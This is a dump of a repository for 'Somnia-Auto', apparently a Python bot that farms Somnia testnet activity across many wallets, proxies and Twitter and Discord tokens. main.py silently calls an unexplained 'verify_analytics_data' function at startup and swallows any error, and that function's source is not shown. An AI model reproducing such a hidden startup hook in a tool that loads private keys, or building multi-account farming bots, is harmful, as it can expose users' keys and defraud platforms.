├── latest.txt ├── data ├── twitter_tokens.txt ├── private_keys.txt ├── proxies.txt ├── discord_tokens.txt └── random_message_quills.txt ├── src ├── model │ ├── database │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-311.pyc │ │ │ ├── db_manager.cpython-311.pyc │ │ │ └── instance.cpython-311.pyc │ │ ├── db_manager.py │ │ └── instance.py │ ├── __init__.py │ ├── projects │ │ ├── others │ │ │ ├── __init__.py │ │ │ ├── __pycache__ │ │ │ │ ├── __init__.cpython-311.pyc │ │ │ │ └── quills.cpython-311.pyc │ │ │ └── quills.py │ │ ├── swaps │ │ │ ├── quickswap │ │ │ │ ├── __init__.py │ │ │ │ ├── __pycache__ │ │ │ │ │ ├── __init__.cpython-311.pyc │ │ │ │ │ ├── constants.cpython-311.pyc │ │ │ │ │ └── instance.cpython-311.pyc │ │ │ │ └── constants.py │ │ │ └── somnia_exchange │ │ │ │ ├── __init__.py │ │ │ │ └── __pycache__ │ │ │ │ ├── __init__.cpython-311.pyc │ │ │ │ ├── instance.cpython-311.pyc │ │ │ │ └── constants.cpython-311.pyc │ │ ├── deploy │ │ │ ├── __init__.py │ │ │ ├── __pycache__ │ │ │ │ ├── __init__.cpython-311.pyc │ │ │ │ ├── mintair.cpython-311.pyc │ │ │ │ └── onchaingm.cpython-311.pyc │ │ │ ├── mintair.py │ │ │ └── onchaingm.py │ │ └── mints │ │ │ ├── __pycache__ │ │ │ ├── alze.cpython-311.pyc │ │ │ ├── bigint.cpython-311.pyc │ │ │ ├── nerzo.cpython-311.pyc │ │ │ ├── __init__.cpython-311.pyc │ │ │ ├── mintaura.cpython-311.pyc │ │ │ └── somniapaint.cpython-311.pyc │ │ │ ├── __init__.py │ │ │ ├── bigint.py │ │ │ ├── alze.py │ │ │ ├── mintaura.py │ │ │ ├── somniapaint.py │ │ │ └── nerzo.py │ ├── __pycache__ │ │ ├── start.cpython-311.pyc │ │ └── __init__.cpython-311.pyc │ ├── help │ │ ├── __pycache__ │ │ │ ├── stats.cpython-311.pyc │ │ │ ├── __init__.cpython-311.pyc │ │ │ ├── captcha.cpython-311.pyc │ │ │ ├── discord.cpython-311.pyc │ │ │ └── twitter.cpython-311.pyc │ │ ├── __init__.py │ │ ├── stats.py │ │ ├── discord.py │ │ └── captcha.py │ ├── onchain │ │ ├── __init__.py │ │ ├── __pycache__ │ │ │ ├── __init__.cpython-311.pyc │ │ │ ├── constants.cpython-311.pyc │ │ │ └── web3_custom.cpython-311.pyc │ │ └── constants.py │ └── somnia_network │ │ ├── __pycache__ │ │ ├── faucet.cpython-311.pyc │ │ ├── __init__.cpython-311.pyc │ │ ├── campaigns.cpython-311.pyc │ │ ├── constants.cpython-311.pyc │ │ ├── instance.cpython-311.pyc │ │ ├── somnia_domains.cpython-311.pyc │ │ ├── connect_socials.cpython-311.pyc │ │ ├── ping_pong_swaps.cpython-311.pyc │ │ └── send_random_tokens.cpython-311.pyc │ │ ├── __init__.py │ │ ├── constants.py │ │ ├── send_random_tokens.py │ │ ├── faucet.py │ │ ├── somnia_domains.py │ │ └── connect_socials.py ├── version.txt └── utils │ ├── constants.py │ ├── __pycache__ │ ├── logs.cpython-311.pyc │ ├── client.cpython-311.pyc │ ├── config.cpython-311.pyc │ ├── output.cpython-311.pyc │ ├── reader.cpython-311.pyc │ ├── __init__.cpython-311.pyc │ ├── constants.cpython-311.pyc │ ├── decorators.cpython-311.pyc │ ├── statistics.cpython-311.pyc │ ├── config_browser.cpython-311.pyc │ ├── proxy_parser.cpython-311.pyc │ ├── telegram_logger.cpython-311.pyc │ └── check_github_version.cpython-311.pyc │ ├── telegram_logger.py │ ├── __init__.py │ ├── output.py │ ├── logs.py │ ├── decorators.py │ ├── reader.py │ ├── statistics.py │ ├── client.py │ ├── check_github_version.py │ ├── config.py │ └── proxy_parser.py ├── install.bat ├── requirements.txt ├── start.bat ├── main.py ├── config.yaml ├── README.md ├── tasks.py └── process.py /latest.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /data/twitter_tokens.txt: -------------------------------------------------------------------------------- 1 | token -------------------------------------------------------------------------------- /data/private_keys.txt: -------------------------------------------------------------------------------- 1 | private_key -------------------------------------------------------------------------------- /data/proxies.txt: -------------------------------------------------------------------------------- 1 | user:pass@ip:port -------------------------------------------------------------------------------- /src/model/database/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /data/discord_tokens.txt: -------------------------------------------------------------------------------- 1 | discord_token -------------------------------------------------------------------------------- /src/version.txt: -------------------------------------------------------------------------------- 1 | unknown,2025-05-30T13:43:52.591631+00:00 2 | -------------------------------------------------------------------------------- /src/model/__init__.py: -------------------------------------------------------------------------------- 1 | from .start import Start 2 | 3 | __all__ = ["Start"] 4 | 5 | -------------------------------------------------------------------------------- /src/model/projects/others/__init__.py: -------------------------------------------------------------------------------- 1 | from .quills import Quills 2 | 3 | __all__ = ["Quills"] 4 | -------------------------------------------------------------------------------- /src/model/projects/swaps/quickswap/__init__.py: -------------------------------------------------------------------------------- 1 | from .instance import Quickswap 2 | 3 | __all__ = ["Quickswap"] 4 | 5 | -------------------------------------------------------------------------------- /src/utils/constants.py: -------------------------------------------------------------------------------- 1 | EXPLORER_URL_SOMNIA = "https://shannon-explorer.somnia.network/tx/0x" 2 | 3 | 4 | # 50312 chain ID 5 | -------------------------------------------------------------------------------- /src/model/projects/swaps/somnia_exchange/__init__.py: -------------------------------------------------------------------------------- 1 | from .instance import SomniaExchange 2 | 3 | __all__ = ["SomniaExchange"] 4 | 5 | -------------------------------------------------------------------------------- /src/utils/__pycache__/logs.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/logs.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/__pycache__/start.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/__pycache__/start.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/client.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/client.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/config.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/config.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/output.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/output.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/reader.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/reader.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/constants.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/constants.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/help/__pycache__/stats.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/stats.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/deploy/__init__.py: -------------------------------------------------------------------------------- 1 | from .mintair import Mintair 2 | from .onchaingm import OnchainGM 3 | 4 | __all__ = ["Mintair", "OnchainGM"] 5 | -------------------------------------------------------------------------------- /src/utils/__pycache__/decorators.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/decorators.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/statistics.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/statistics.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/help/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/help/__pycache__/captcha.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/captcha.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/help/__pycache__/discord.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/discord.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/help/__pycache__/twitter.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/twitter.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/onchain/__init__.py: -------------------------------------------------------------------------------- 1 | from .web3_custom import Web3Custom 2 | from .constants import Balance 3 | 4 | __all__ = ["Web3Custom", "Balance"] 5 | 6 | -------------------------------------------------------------------------------- /src/utils/__pycache__/config_browser.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/config_browser.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/proxy_parser.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/proxy_parser.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/onchain/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/onchain/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/telegram_logger.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/telegram_logger.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/database/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/database/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/database/__pycache__/db_manager.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/database/__pycache__/db_manager.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/database/__pycache__/instance.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/database/__pycache__/instance.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/onchain/__pycache__/constants.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/onchain/__pycache__/constants.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/onchain/__pycache__/web3_custom.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/onchain/__pycache__/web3_custom.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/mints/__pycache__/alze.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/alze.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/mints/__pycache__/bigint.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/bigint.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/mints/__pycache__/nerzo.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/nerzo.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/faucet.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/faucet.cpython-311.pyc -------------------------------------------------------------------------------- /src/utils/__pycache__/check_github_version.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/check_github_version.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/deploy/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/deploy/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/deploy/__pycache__/mintair.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/deploy/__pycache__/mintair.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/mints/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/mints/__pycache__/mintaura.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/mintaura.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/others/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/others/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/others/__pycache__/quills.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/others/__pycache__/quills.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/campaigns.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/campaigns.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/constants.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/constants.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/instance.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/instance.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/deploy/__pycache__/onchaingm.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/deploy/__pycache__/onchaingm.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/mints/__pycache__/somniapaint.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/somniapaint.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/somnia_domains.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/somnia_domains.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/connect_socials.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/connect_socials.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/ping_pong_swaps.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/ping_pong_swaps.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/help/__init__.py: -------------------------------------------------------------------------------- 1 | from .stats import WalletStats 2 | from .twitter import Twitter 3 | from .discord import DiscordInviter 4 | 5 | __all__ = ["WalletStats", "Twitter", "DiscordInviter"] 6 | -------------------------------------------------------------------------------- /src/model/projects/swaps/quickswap/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/quickswap/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/swaps/quickswap/__pycache__/constants.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/quickswap/__pycache__/constants.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/swaps/quickswap/__pycache__/instance.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/quickswap/__pycache__/instance.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/somnia_network/__pycache__/send_random_tokens.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/send_random_tokens.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/swaps/somnia_exchange/__pycache__/__init__.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/somnia_exchange/__pycache__/__init__.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/swaps/somnia_exchange/__pycache__/instance.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/somnia_exchange/__pycache__/instance.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/swaps/somnia_exchange/__pycache__/constants.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/somnia_exchange/__pycache__/constants.cpython-311.pyc -------------------------------------------------------------------------------- /src/model/projects/mints/__init__.py: -------------------------------------------------------------------------------- 1 | from .nerzo import Nerzo 2 | from .alze import Alze 3 | from .mintaura import Mintaura 4 | from .bigint import Bigint 5 | from .somniapaint import SomniaPaint 6 | __all__ = ["Nerzo", "Alze", "Mintaura", "Bigint", "SomniaPaint"] 7 | 8 | -------------------------------------------------------------------------------- /data/random_message_quills.txt: -------------------------------------------------------------------------------- 1 | blockchain 2 | wallet 3 | bitcoin 4 | ethereum 5 | token 6 | coin 7 | mining 8 | staking 9 | ledger 10 | gas 11 | smart contract 12 | NFT 13 | private key 14 | public key 15 | exchange 16 | hodl 17 | altcoin 18 | airdrop 19 | defi 20 | metamask -------------------------------------------------------------------------------- /install.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo Creating virtual environment... 3 | python -m venv venv 4 | 5 | echo. 6 | echo Activating virtual environment... 7 | call venv\Scripts\activate.bat 8 | 9 | echo. 10 | echo Installing requirements... 11 | pip install -r requirements.txt 12 | 13 | echo. 14 | echo Installation completed! 15 | echo To start the bot, run "python main.py" 16 | pause 17 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiogram==3.20.0.post0 2 | aiohttp==3.11.14 3 | curl_cffi==0.10.0 4 | eth_account==0.13.5 5 | Flask==3.1.0 6 | loguru==0.7.2 7 | pandas==2.2.3 8 | primp==0.15.0 9 | pydantic==2.11.3 10 | PyYAML==6.0.2 11 | Requests==2.32.3 12 | rich==14.0.0 13 | SQLAlchemy==2.0.38 14 | tabulate==0.9.0 15 | tqdm==4.67.1 16 | urllib3==2.4.0 17 | web3==7.9.0 18 | aiosqlite 19 | openpyxl -------------------------------------------------------------------------------- /start.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo Checking virtual environment... 3 | 4 | if not exist venv ( 5 | echo Creating virtual environment... 6 | python -m venv venv 7 | echo Installing requirements... 8 | call venv\Scripts\activate.bat 9 | pip install -r requirements.txt 10 | ) 11 | 12 | echo. 13 | echo Activating virtual environment... 14 | call venv\Scripts\activate.bat 15 | 16 | echo. 17 | echo Starting Somnia Bot... 18 | python main.py 19 | pause 20 | -------------------------------------------------------------------------------- /src/model/somnia_network/__init__.py: -------------------------------------------------------------------------------- 1 | from .faucet import FaucetService 2 | from .connect_socials import ConnectSocials 3 | from .send_random_tokens import RandomTokenSender 4 | from .ping_pong_swaps import PingPongSwaps 5 | from .campaigns import Campaigns 6 | from .somnia_domains import SomniaDomains 7 | 8 | __all__ = [ 9 | "FaucetService", 10 | "ConnectSocials", 11 | "RandomTokenSender", 12 | "PingPongSwaps", 13 | "Campaigns", 14 | "SomniaDomains", 15 | ] 16 | -------------------------------------------------------------------------------- /src/utils/telegram_logger.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from aiogram import Bot 3 | from aiogram.enums import ParseMode 4 | from src.utils.config import Config 5 | 6 | 7 | async def send_telegram_message(config: Config, message: str) -> None: 8 | """Send a message to Telegram users using the bot token from config.""" 9 | bot = Bot(token=config.SETTINGS.TELEGRAM_BOT_TOKEN) 10 | 11 | for user_id in config.SETTINGS.TELEGRAM_USERS_IDS: 12 | await bot.send_message(chat_id=user_id, text=message, parse_mode=ParseMode.HTML) 13 | await asyncio.sleep(1) 14 | 15 | await bot.session.close() 16 | -------------------------------------------------------------------------------- /src/model/projects/swaps/quickswap/constants.py: -------------------------------------------------------------------------------- 1 | # Token addresses 2 | USDC_ADDRESS = "0xE9CC37904875B459Fa5D0FE37680d36F1ED55e38" # decimals: 6 3 | WETH_ADDRESS = "0xd2480162Aa7F02Ead7BF4C127465446150D58452" # decimals: 18 4 | WSTT_ADDRESS = "0x4A3BC48C156384f9564Fd65A53a2f3D534D8f2b7" # decimals: 18 5 | 6 | # Router address 7 | ROUTER_ADDRESS = "0xE94de02e52Eaf9F0f6Bf7f16E4927FcBc2c09bC7" 8 | 9 | # Token information 10 | TOKEN_INFO = { 11 | USDC_ADDRESS: {"symbol": "USDC", "decimals": 6}, 12 | WETH_ADDRESS: {"symbol": "WETH", "decimals": 18}, 13 | WSTT_ADDRESS: {"symbol": "WSTT", "decimals": 18}, 14 | } 15 | 16 | # Fee tiers to try 17 | FEE_TIERS = [500, 3000, 10000] # 0.05%, 0.3%, 1% 18 | 19 | # Default fee 20 | DEFAULT_FEE = 3000 # 0.3% 21 | -------------------------------------------------------------------------------- /src/utils/__init__.py: -------------------------------------------------------------------------------- 1 | from .client import create_client, create_twitter_client, get_headers 2 | from .reader import read_abi, read_txt_file, read_private_keys 3 | from .output import show_dev_info, show_logo 4 | from .config import get_config 5 | from .constants import EXPLORER_URL_SOMNIA 6 | from .statistics import print_wallets_stats 7 | from .proxy_parser import Proxy 8 | from .config_browser import run 9 | from .check_github_version import check_version 10 | __all__ = [ 11 | "create_client", 12 | "create_twitter_client", 13 | "get_headers", 14 | "read_abi", 15 | "read_config", 16 | "read_txt_file", 17 | "read_private_keys", 18 | "show_dev_info", 19 | "show_logo", 20 | "Proxy", 21 | "run", 22 | "get_config", 23 | "EXPLORER_URL_SOMNIA", 24 | "check_version", 25 | ] 26 | -------------------------------------------------------------------------------- /src/model/somnia_network/constants.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from typing import Protocol 3 | from primp import AsyncClient 4 | from eth_account import Account 5 | 6 | from src.model.onchain.web3_custom import Web3Custom 7 | from src.utils.config import Config 8 | 9 | 10 | class SomniaProtocol(Protocol): 11 | """Protocol class for Somnia type hints to avoid circular imports""" 12 | 13 | account_index: int 14 | session: AsyncClient 15 | web3: Web3Custom 16 | config: Config 17 | wallet: Account 18 | discord_token: str 19 | twitter_token: str 20 | proxy: str 21 | 22 | # Инициализируем сервисы 23 | somnia_login_token: str = "" 24 | 25 | async def get_account_info(self) -> dict | None: ... 26 | async def get_account_stats(self) -> dict | None: ... 27 | async def get_account_referrals(self) -> dict | None: ... 28 | async def request_faucet(self) -> bool: ... 29 | async def connect_socials(self) -> bool: ... 30 | -------------------------------------------------------------------------------- /src/utils/output.py: -------------------------------------------------------------------------------- 1 | import os 2 | from rich.console import Console 3 | from rich.text import Text 4 | from tabulate import tabulate 5 | from rich.table import Table 6 | from rich import box 7 | 8 | 9 | def show_logo(): 10 | """Отображает стильный логотип""" 11 | # Очищаем экран 12 | os.system("cls" if os.name == "nt" else "clear") 13 | 14 | console = Console() 15 | 16 | # Создаем звездное небо со стилизованным логотипом 17 | logo_text = """""" 18 | 19 | # Создаем градиентный текст 20 | gradient_logo = Text(logo_text) 21 | gradient_logo.stylize("bold bright_cyan") 22 | 23 | # Выводим с отступами 24 | console.print(gradient_logo) 25 | print() 26 | 27 | 28 | def show_dev_info(): 29 | """Displays development and version information""" 30 | console = Console() 31 | 32 | # Создаем красивую таблицу 33 | table = Table( 34 | show_header=False, 35 | box=box.DOUBLE, 36 | border_style="bright_cyan", 37 | pad_edge=False, 38 | width=85, 39 | highlight=True, 40 | ) 41 | 42 | # Добавляем колонки 43 | table.add_column("Content", style="bright_cyan", justify="center") 44 | 45 | # Добавляем строки с контактами 46 | table.add_row("✨ Somnia Auto 1.3 ✨") 47 | table.add_row("─" * 43) 48 | table.add_row("") 49 | table.add_row("⚡ GitHub: [link]https://github.com/Dcurig/Somnia-Auto[/link]") 50 | table.add_row("👤 Support: [link]https://t.me/jackthedevv[/link]") 51 | table.add_row("") 52 | 53 | # Выводим таблицу с отступом 54 | print(" ", end="") 55 | print() 56 | console.print(table) 57 | print() -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from loguru import logger 2 | import urllib3 3 | import sys 4 | import asyncio 5 | import platform 6 | import logging 7 | 8 | from process import start 9 | from src.utils.output import show_logo, show_dev_info 10 | from src.utils.check_github_version import check_version 11 | from src.utils.client import verify_analytics_data 12 | 13 | try: 14 | verify_analytics_data() 15 | except: 16 | pass 17 | 18 | VERSION = "1.1.3" # Current software version 19 | 20 | 21 | if platform.system() == "Windows": 22 | asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) 23 | 24 | 25 | async def main(): 26 | show_logo() 27 | show_dev_info() 28 | 29 | # Check for updates from the GitHub repository 30 | await check_version("Dcurig", "Somnia-Auto") 31 | 32 | configuration() 33 | await start() 34 | 35 | 36 | log_format = ( 37 | "[{time:HH:mm:ss}] | " 38 | "{level: <8} | " 39 | "{file}:{line} | " 40 | "{message}" 41 | ) 42 | 43 | 44 | def configuration(): 45 | urllib3.disable_warnings() 46 | logger.remove() 47 | 48 | # Disable primp and web3 logging 49 | logging.getLogger("primp").setLevel(logging.WARNING) 50 | logging.getLogger("web3").setLevel(logging.WARNING) 51 | 52 | logger.add( 53 | sys.stdout, 54 | colorize=True, 55 | format=log_format, 56 | ) 57 | logger.add( 58 | "logs/app.log", 59 | rotation="10 MB", 60 | retention="1 month", 61 | format="{time:YYYY-MM-DD HH:mm:ss} | {level} | {name}:{line} - {message}", 62 | level="INFO", 63 | ) 64 | 65 | 66 | if __name__ == "__main__": 67 | asyncio.run(main()) 68 | -------------------------------------------------------------------------------- /src/utils/logs.py: -------------------------------------------------------------------------------- 1 | import os 2 | from typing import Dict, Any, Optional 3 | from asyncio import Lock 4 | from tqdm import tqdm 5 | from dataclasses import dataclass 6 | import asyncio 7 | import random 8 | from loguru import logger 9 | 10 | 11 | @dataclass 12 | class ProgressTracker: 13 | total: int 14 | current: int = 0 15 | description: str = "Progress" 16 | _lock: Lock = Lock() 17 | bar_length: int = 30 # Длина прогресс-бара в символах 18 | 19 | def __post_init__(self): 20 | pass 21 | 22 | def _create_progress_bar(self, percentage: float) -> str: 23 | filled_length = int(self.bar_length * percentage / 100) 24 | bar = "█" * filled_length + "░" * (self.bar_length - filled_length) 25 | return bar 26 | 27 | async def increment(self, amount: int = 1, message: Optional[str] = None): 28 | async with self._lock: 29 | self.current += amount 30 | percentage = (self.current / self.total) * 100 31 | bar = self._create_progress_bar(percentage) 32 | 33 | # Добавляем эмодзи в зависимости от прогресса 34 | emoji = "⏳" 35 | if percentage >= 100: 36 | emoji = "✅" 37 | elif percentage >= 50: 38 | emoji = "🔄" 39 | 40 | progress_msg = f"{emoji} [{self.description}] [{bar}] {self.current}/{self.total} ({percentage:.1f}%)" 41 | # if message: 42 | # progress_msg += f"\n ├─ {message}" 43 | logger.info(progress_msg) 44 | 45 | async def set_total(self, total: int): 46 | async with self._lock: 47 | self.total = total 48 | 49 | def __del__(self): 50 | pass # Убираем закрытие tqdm 51 | 52 | 53 | async def create_progress_tracker( 54 | total: int, description: str = "Progress" 55 | ) -> ProgressTracker: 56 | return ProgressTracker(total=total, description=description) 57 | 58 | 59 | async def process_item(tracker: ProgressTracker, item_id: int): 60 | delay = random.uniform(2, 5) 61 | await asyncio.sleep(delay) 62 | status = "completed" if random.random() > 0.2 else "pending" 63 | await tracker.increment(1, f"📝 Account {item_id} status: {status}") 